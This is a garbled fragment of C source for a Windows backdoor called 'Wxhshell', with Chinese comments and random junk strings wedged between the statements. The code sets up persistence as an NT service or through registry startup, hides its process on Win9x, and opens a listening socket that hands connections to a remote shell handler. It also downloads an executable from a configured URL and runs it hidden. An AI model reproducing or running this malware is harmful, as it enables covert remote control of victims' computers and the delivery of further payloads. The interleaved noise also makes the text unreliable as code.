z>Y HMODULE hMod; K;2]c3T char procName[255]; ^$][ah unsigned long cbNeeded; vFfvvRda4x Z=: oIAe if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); JCIm*6~ <`dF~ CloseHandle(hProcess); qZ!1>`B \!UNale if(strstr(procName,"services")) return 1; // 以服务启动 qA- ya6 -t9oL3J return 0; // 注册表启动 '-jKv=D+ } D\Y)E#%, !$q1m@K1 // 主模块 ht^U VV2 int StartWxhshell(LPSTR lpCmdLine) uCK!lq- { =goZI6 7 SOCKET wsl; 2|k*rv}l BOOL val=TRUE; h.)2, int port=0; :oB4\/(G# struct sockaddr_in door; V07x+ovq <_*8a(j3 if(wscfg.ws_autoins) Install(); ;WIL?[;w 0w >DU^+ port=atoi(lpCmdLine); $,k SR} O$
i6r]j_ if(port<=0) port=wscfg.ws_port; >J=x";,D|~ @S~'m; WSADATA data; }iy`Ko+B"b if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; $ql-"BB !DnG)4# if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; KmV>tn BQ setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); *8p\.za1 door.sin_family = AF_INET; M3Kpp_d_! door.sin_addr.s_addr = inet_addr("127.0.0.1"); VGcl)fIqw? door.sin_port = htons(port); V,qZF=} S ^v3+w"2 if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Y51XpcXQ closesocket(wsl); FH8?W|
G return 1; _lQ+J=J$.R } @"9y\1u e,E;\x
& if(listen(wsl,2) == INVALID_SOCKET) { ^a`zvrE
v closesocket(wsl);
Xi5kE'_ return 1; [ hj|8) } w8%yX$< Wxhshell(wsl); Cu({%Gy+ WSACleanup(); ^JtGT >Z^7=5K"O return 0; c: *wev >ge-yK 1 } 7>{edNy!, #},]`"n\ // 以NT服务方式启动 qn@Qd9Sf VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 7kn=j6I { {CH\TmSz DWORD status = 0; kt1f2cj DWORD specificError = 0xfffffff; X_
>B7(k ^OG^%
x" serviceStatus.dwServiceType = SERVICE_WIN32; @n(=#Q3 serviceStatus.dwCurrentState = SERVICE_START_PENDING; mUy/lo'4 serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Ao96[2U6 serviceStatus.dwWin32ExitCode = 0;
hZlajky serviceStatus.dwServiceSpecificExitCode = 0; (p} N9n$ serviceStatus.dwCheckPoint = 0; r"fu{4aX serviceStatus.dwWaitHint = 0; va8:QHdU uMsKF %m hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); "4"\tM( if (hServiceStatusHandle==0) return; S=aXmz< ~Y)Au?d(a status = GetLastError(); qe(X5?#; if (status!=NO_ERROR) `j>qOT { <O$'3_S"D serviceStatus.dwCurrentState = SERVICE_STOPPED; l%Sz6 serviceStatus.dwCheckPoint = 0; tzpGKhrk6 serviceStatus.dwWaitHint = 0; {>FA ~}cX. serviceStatus.dwWin32ExitCode = status; &P3B serviceStatus.dwServiceSpecificExitCode = specificError; B_5q}Bp< SetServiceStatus(hServiceStatusHandle, &serviceStatus); Wr)%C return; >mF`XbS }
8KWTd V2/+SvB2 serviceStatus.dwCurrentState = SERVICE_RUNNING; 6lT'%ho}B serviceStatus.dwCheckPoint = 0; 2L<TqC{,- serviceStatus.dwWaitHint = 0; oU~V0{7g if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); '%RMpyK~ } *7*g!
km \f66ipZK* // 处理NT服务事件,比如:启动、停止 ip5s'S~ VOID WINAPI NTServiceHandler(DWORD fdwControl) 6\o.wq { tu!u9jVv switch(fdwControl) 56<LMY|d { 0^ (.(: case SERVICE_CONTROL_STOP: U}A+jJ serviceStatus.dwWin32ExitCode = 0; r~s03g0 serviceStatus.dwCurrentState = SERVICE_STOPPED; l"*>>/U k serviceStatus.dwCheckPoint = 0; He!0&B\7h serviceStatus.dwWaitHint = 0; Xkv>@7ec
{ #gN{8Yk> SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]Vwky]d } Zt!l3(*tt return; dN*<dz+4r case SERVICE_CONTROL_PAUSE: 6AQ;P serviceStatus.dwCurrentState = SERVICE_PAUSED; #-lk=> break; [/#n+sz.A case SERVICE_CONTROL_CONTINUE: %7|qnh6 serviceStatus.dwCurrentState = SERVICE_RUNNING; 3b&W=1J break; }= <!j5: case SERVICE_CONTROL_INTERROGATE: D 0n2r break; &tRnI$D }; 3F.O0Vz SetServiceStatus(hServiceStatusHandle, &serviceStatus); Gj)Qw6
} d'3'{C|kk Ne9
.wd // 标准应用程序主函数 :m$%D]WY int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) A`N;vq, { ;,4J:zvZdQ kT$4X0} // 获取操作系统版本 H>7!+&M OsIsNt=GetOsVer(); SiBbz4 GetModuleFileName(NULL,ExeFile,MAX_PATH); 3:;%@4f b6/:reH{ // 从命令行安装 I(7gmCV if(strpbrk(lpCmdLine,"iI")) Install(); shn-Es* +?@qux! // 下载执行文件 v<c Hx/ if(wscfg.ws_downexe) { 0~S<}N if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) j_H
T WinExec(wscfg.ws_filenam,SW_HIDE); / 9;Pbxn } ', &MYm\ {(MG:
B if(!OsIsNt) { 1b!l+ 8! // 如果时win9x,隐藏进程并且设置为注册表启动 cEQa 6 HideProc(); AMm O+E? StartWxhshell(lpCmdLine); #&5\1Qu } r=[}7N else 9=}/t9k if(StartFromService()) /6.b>|zF // 以服务方式启动 JWdG?[$ StartServiceCtrlDispatcher(DispatchTable); (@#Lk"B else ,pG63&?j // 普通方式启动 h n]6he StartWxhshell(lpCmdLine); 0,3 ':Df O71rLk; return 0; T6,lk1S'= }
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